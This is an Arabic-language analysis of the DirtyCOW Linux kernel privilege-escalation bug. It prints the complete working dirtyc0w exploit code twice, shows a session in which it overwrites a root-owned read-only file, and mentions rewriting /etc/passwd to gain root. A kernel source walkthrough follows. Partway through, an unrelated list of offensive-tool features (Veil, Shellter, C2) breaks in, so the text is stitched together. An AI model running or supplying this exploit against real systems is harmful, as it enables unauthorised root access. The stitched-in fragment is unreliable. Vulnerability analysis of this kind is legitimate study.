
ملاحظات DirtyCOW
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
* **تحليل الوظيفة الكاملة** - دعم تصدير ملفات JSON لسهولة المشاركة
* **خيارات التثبيت المتقدمة** - إمكانية تخصيص الحزمة الأساسية للجهاز
* **وضع الشبكة الداخلية (أغلق/مُدار)** - خيارات متعددة للاتصالات بالشبكة
* دعم **للتوصيل على مدار الساعة** مع إدارة الأخطاء المتقدمة
* **وضع التوسع المتقدم عبر الصدفة** - متوافق مع عدة خيارات للتخصيص
* دعم **بروتوكولات متعددة** (TCP، HTTP، HTTPS، DNS، SMB، إلخ.)
* دمج **أدوات متعددة** (Veil، Shellter، C2، إلخ.)
* هجوم **Widely** قائم على **النسخ الاحتياطي** (Backup)```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
من الأساليب الشائعة للاستغلال هي كتابة صلاحيات الوصول إلى ملف /etc/passwd لتعديل مستخدم الجذر أو تعديل صلاحيات المستخدم لرفع الصلاحيات
دعنا نرى أولاً ما يفعله الاستغلال```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- أولاً، استدعاء `pthread` لإنشاء خيطين
- ثم `fopen` لفتح الملف الهدف `argv[1]` للقراءة فقط
- تعيين الملف (`mmap`) في الذاكرة (عنوان عشوائي)، دور `MAP_PRIVATE` هو إنشاء تعيين ذاكرة خاص بـ Task، إذا حاول Task آخر الكتابة إلى هذه الذاكرة، فإن العملية ستنسخ نسخة قبل الكتابة، مما يحقق عدم الحاجة إلى إنفاق وقت ومساحة كبيرين لنسخ مساحة الذاكرة بأكملها عند إنشاء عمليات فرعية أو خيوط، مع ضمان عدم تأثير عمليات الذاكرة المتزامنة بين Tasks على بعضها البعض، وهذا هو CopyOnWrite
- ثم تشغيل خيطين، واحد ينفذ `madviseThread` والآخر ينفذ `procselfmemThread`
ثم ننظر إلى جسدي تنفيذ الخيطين
- خيط واحد يقوم باستدعاء `madvise` لتعيين الملف لإخبار النواة عن استخدام الذاكرة المعينة أو الذاكرة المشتركة، `MADV_DONTNEED` يعني أنه لن يتم استخدام هذه المنطقة من الذاكرة بعد الآن، ويمكن للنواة تحريرها
- الخيط الآخر يفتح `/proc/self/mem` بصلاحيات القراءة والكتابة، هذا الملف هو تعيين ذاكرة افتراضية للعملية نفسها، ثم يحاول باستمرار كتابة المعلومات المستهدفة إلى الملف```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
في النهاية، تحت الهجوم المتواصل من خيطين، ظهرت ثغرة سباق في النواة، ونجح procselfmemThread في الكتابة إلى ملف للقراءة فقط
mmap يقوم فقط بإنشاء تعيين للذاكرة على vma، لكنه لا يقوم فعليًا بوضع الملف المُعيّن في إطار الصفحة الفعلية. لذلك، عندما نحاول أولاً كتابة ملفwrite، فإنه حتمًا سيتسبب في خطأ في الصفحةنبدأ التحليل من write. أي عملية على ملف يجب أن تمر عبر الجدول الافتراضي file_operations المسجل في VFS الخاص بنظام الملفات الذي يحتوي الملف. الملفات الموجودة في /proc يتم تنفيذها بواسطة procfs. بإيجاد proc_mem_operations، يمكننا رؤية أن write سيتم ربطه بـ `mem_write````c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` هو غلاف لـ `mem_rw` (مع تعيين علامة `write` إلى 1)، التدفق الرئيسي لـ `mem_rw` هو:
- أولاً، يقوم `__get_free_page` بتخصيص صفحة فارغة مؤقتة كذاكرة تخزين مؤقتة
- إذا كانت عملية كتابة، يتم استدعاء `copy_from_user` لنسخ البيانات المراد كتابتها إلى الصفحة المؤقتة
- ثم يقوم `access_remote_vm` بقراءة البيانات الهدف إلى الصفحة الفارغة (قراءة) أو كتابة محتوى المخزن المؤقت إلى العنوان الهدف (كتابة)
- ما يُسمى بـ "remote" هو في الواقع لأن هذه العملية قد تقرأ أو تكتب ملفات الذاكرة المعينة لعملية أخرى، مما يعني أن العملية قد تصل إلى مساحة عنوان عملية أخرى، وهذا يختلف عن أنظمة ملفات الذاكرة الأخرى
- إذا كانت عملية قراءة، فسيتم كتابة البيانات التي تمت قراءتها إلى الصفحة الفارغة في الخطوة السابقة مرة أخرى إلى المخزن المؤقت للمستخدم```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm هي غلاف لـ__access_remote_vm، وتتمثل العملية الرئيسية في:
استخدام get_user_pages للحصول على بنية الصفحة (page struct) للعنوان الهدف addr
إذا نجحت العملية، يتم استدعاء kmap لتعيين الصفحة إلى الذاكرة العالية للنواة (تشير page إلى الصفحة الفعلية)
إذا كان الوصول إلى الذاكرة هو عملية كتابة، فسيتم كتابة البيانات ثم تعيين بت التعديل (dirty bit)، أما إذا كانت عملية قراءة فسيتم قراءة البيانات فقط```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;